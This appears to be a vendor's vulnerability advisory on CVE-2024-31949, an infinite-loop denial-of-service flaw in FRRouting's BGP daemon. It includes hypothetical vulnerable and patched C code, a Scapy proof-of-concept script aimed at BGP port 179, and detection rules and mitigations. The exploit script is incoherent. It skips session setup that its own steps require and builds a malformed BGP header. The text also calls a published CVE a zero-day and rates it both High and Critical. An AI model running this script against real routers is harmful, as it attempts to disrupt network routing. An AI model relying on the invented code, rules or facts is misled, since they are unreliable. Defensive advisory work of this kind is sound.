CVE-2024-31949

Executive Summary

CVE-2024-31949 is a high-severity denial-of-service (DoS) vulnerability in FRRouting (FRR) through version 9.1. The flaw resides in the BGP daemon's handling of MP/GR (Multi-Protocol / Graceful Restart) capabilities when received as a dynamic capability. Malformed data within the capability can cause an infinite loop, preventing the pointer from advancing and leading to a complete hang of the BGP process. This can be exploited by a remote, unauthenticated attacker to disrupt BGP peering sessions, potentially causing widespread routing instability. No public exploit code or patch is currently available, making this a critical zero-day risk for any organization running FRR in production.

Supply Chain & Package Security

FRRouting is a widely used open-source routing software suite, often deployed in critical network infrastructure. This vulnerability is not a package supply chain issue (e.g., NPM, PyPI) but rather a core code flaw. Organizations should verify the integrity of their FRR binaries and source code, ensuring they are obtained from official repositories (e.g., GitHub releases, official package managers). The lack of a patch means that any deployment of FRR <= 9.1 is potentially vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of BGP service.

Threat Level: Critical. The low attack complexity and network-based vector make this easily exploitable. An unauthenticated attacker can cause a complete BGP daemon crash or hang, leading to routing table loss and network partition.

Deep Dive & Mechanics

The vulnerability is in the BGP implementation of FRRouting, specifically in the processing of dynamic capabilities. BGP dynamic capabilities allow peers to advertise new capabilities without tearing down the session. The MP/GR capability is used to signal multi-protocol extensions and graceful restart capabilities.

When a malformed MP/GR capability is received as a dynamic capability, the parsing logic enters an infinite loop. The root cause is a failure to properly advance a pointer when encountering malformed data. The code likely iterates over a list of AFI/SAFI (Address Family Identifier / Subsequent Address Family Identifier) pairs within the capability. If the data is malformed (e.g., incorrect length or invalid AFI/SAFI values), the pointer that tracks the current position in the data buffer is not incremented, causing the loop to repeatedly process the same malformed data.

This is a classic CWE-835 (Loop with Unreachable Exit Condition) vulnerability. The loop condition never becomes false because the pointer never reaches the end of the data. The BGP process becomes stuck, consuming 100% CPU and becoming unresponsive to any further BGP messages, effectively terminating the BGP session.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical analysis based on the vulnerability description.

Vulnerable Code (Conceptual):

// bgp_attr.c or similar
void bgp_capability_mp_gr_parse(struct peer *peer, uint8_t *data, int length) {
    uint8_t *ptr = data;
    while (ptr < data + length) {
        // Process AFI/SAFI pair
        uint16_t afi = ntohs(*(uint16_t *)ptr);
        ptr += 2;
        uint8_t safi = *ptr;
        ptr += 1;
        // ... process ...
        // BUG: If malformed data causes an early exit without advancing ptr,
        // the loop will never terminate.
        if (some_malformed_check_fails) {
            // ptr is NOT advanced, loop continues forever
            continue;
        }
    }
}

Patched Code (Hypothetical):

void bgp_capability_mp_gr_parse(struct peer *peer, uint8_t *data, int length) {
    uint8_t *ptr = data;
    while (ptr < data + length) {
        // Ensure there is enough data for AFI/SAFI
        if (ptr + 3 > data + length) {
            break; // Exit loop if malformed
        }
        uint16_t afi = ntohs(*(uint16_t *)ptr);
        ptr += 2;
        uint8_t safi = *ptr;
        ptr += 1;
        // ... process ...
        // Always advance ptr, even on error
        if (some_malformed_check_fails) {
            // Log error and continue to next entry
            zlog_err("Malformed MP/GR capability");
            continue; // ptr has already been advanced
        }
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running FRR <= 9.1 with BGP enabled and accepting dynamic capabilities.
• Network access to the BGP port (default 179).

Exploitation Steps:

1. Establish a BGP session with the target (or send a crafted OPEN message).
2. After the session is established, send a BGP UPDATE message containing a malformed MP/GR dynamic capability.
3. The malformed capability should contain an AFI/SAFI list with incorrect length fields or invalid values that trigger the infinite loop.

Proof-of-Concept (Python using Scapy):

#!/usr/bin/env python3
from scapy.all import *
import struct

# Craft a malformed BGP OPEN message with a dynamic capability
# This is a simplified example; actual exploitation requires precise packet crafting.

def craft_malformed_capability():
    # Malformed MP/GR capability: AFI=0x0001, SAFI=1, but length is wrong
    cap_code = 0x40  # Dynamic capability
    cap_length = 5   # Should be 4 for one AFI/SAFI pair, but we set 5
    afi = struct.pack('!H', 0x0001)
    safi = struct.pack('!B', 1)
    # Extra byte to cause malformed data
    extra = b'\x00'
    cap_value = afi + safi + extra
    cap = struct.pack('!BB', cap_code, cap_length) + cap_value
    return cap

# Build BGP OPEN message
def build_bgp_open():
    my_as = 65001
    hold_time = 90
    bgp_id = "10.0.0.1"
    cap = craft_malformed_capability()
    opt_param_len = len(cap)
    open_msg = struct.pack('!B', 1)  # Type OPEN
    open_msg += struct.pack('!B', 0)  # Length placeholder
    open_msg += struct.pack('!H', my_as)
    open_msg += struct.pack('!H', hold_time)
    open_msg += inet_aton(bgp_id)
    open_msg += struct.pack('!B', opt_param_len)
    open_msg += cap
    # Update length
    open_msg = struct.pack('!B', 1) + struct.pack('!B', len(open_msg)) + open_msg[2:]
    return open_msg

# Send the packet
def exploit(target_ip):
    pkt = IP(dst=target_ip)/TCP(dport=179, sport=random.randint(1024,65535))/Raw(load=build_bgp_open())
    send(pkt, verbose=0)
    print(f"Sent malformed BGP OPEN to {target_ip}")

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team (Detection & Defense)

Detection:

• Monitor BGP session logs for repeated "Malformed capability" or "Dynamic capability error" messages.
• Watch for BGP sessions that suddenly become unresponsive or drop without a proper NOTIFICATION message.
• Use network monitoring to detect anomalous BGP packets with unusual capability lengths.

Defense:

• Immediate: Disable dynamic capabilities on BGP peers if not required (no bgp dynamic-capability).
• Mitigation: Use BGP prefix lists and route maps to filter incoming updates from untrusted peers.
• Long-term: Apply the vendor patch as soon as it becomes available. Consider using a BGP firewall or dedicated BGP security appliance.

Indicators of Compromise (IOCs)

• Network IOCs:

  • BGP packets with malformed MP/GR dynamic capabilities (e.g., incorrect length fields).
  • BGP sessions that hang without sending NOTIFICATION messages.
  • High CPU usage on the BGP daemon (bgpd) process.

• Host IOCs:

  • Log entries in /var/log/frr/bgpd.log showing repeated "capability parse error" or similar.
  • Process bgpd consuming 100% CPU and not responding to signals.

• File IOCs:

  • Core dumps of bgpd if the process is killed.

Detection Engineering

YARA Rule

rule CVE_2024_31949_BGP_Infinite_Loop {
    meta:
        description = "Detects malformed BGP MP/GR dynamic capabilities in PCAP files"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-31949"
    strings:
        $bgp_open = { 01 }  // BGP OPEN message type
        $cap_code_dynamic = { 40 }  // Dynamic capability code
        $mp_gr_cap = { 02 01 }  // MP/GR capability (code 2, length 1)
    condition:
        $bgp_open and $cap_code_dynamic and $mp_gr_cap
}

Sigma Rule

title: CVE-2024-31949 - BGP Infinite Loop via Malformed Dynamic Capability
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BGP daemon crashes or hangs due to malformed MP/GR dynamic capabilities
author: Valters IT
date: 2024-10-27
logsource:
    product: linux
    service: frr
detection:
    selection:
        - EventID: "BGP_CAPABILITY_ERROR"
        - Message: "*malformed*"
        - Message: "*dynamic capability*"
    condition: selection
falsepositives:
    - Legitimate BGP capability negotiation with rare AFI/SAFI values
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 179 (msg:"CVE-2024-31949 BGP Infinite Loop Attempt"; flow:to_server,established; content:"|01|"; depth:1; content:"|40|"; within:5; content:"|02 01|"; within:10; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Dynamic Capabilities: On all BGP peers, add the configuration no bgp dynamic-capability in the BGP router configuration.
2. Restrict BGP Peering: Ensure BGP sessions are only established with trusted peers. Use MD5 authentication (password <string>) and TTL security (ttl-security hops <count>).
3. Monitor BGP Health: Implement monitoring for BGP daemon CPU usage and session state. Alert on any unexpected session drops or high CPU.

Long-Term Actions:

1. Apply Patch: Monitor the FRRouting GitHub repository and official channels for a patch. Apply it as soon as it is released.
2. Upgrade FRR: If a patched version becomes available, upgrade to the latest stable release.
3. Network Segmentation: Place BGP routers in a dedicated management network with strict access controls.

Workaround Configuration:

router bgp 65001
 no bgp dynamic-capability
 neighbor 10.0.0.2 remote-as 65002
 neighbor 10.0.0.2 password MySecretKey
 neighbor 10.0.0.2 ttl-security hops 1

Valters IT
DevSecOps & Cyber Threat Intelligence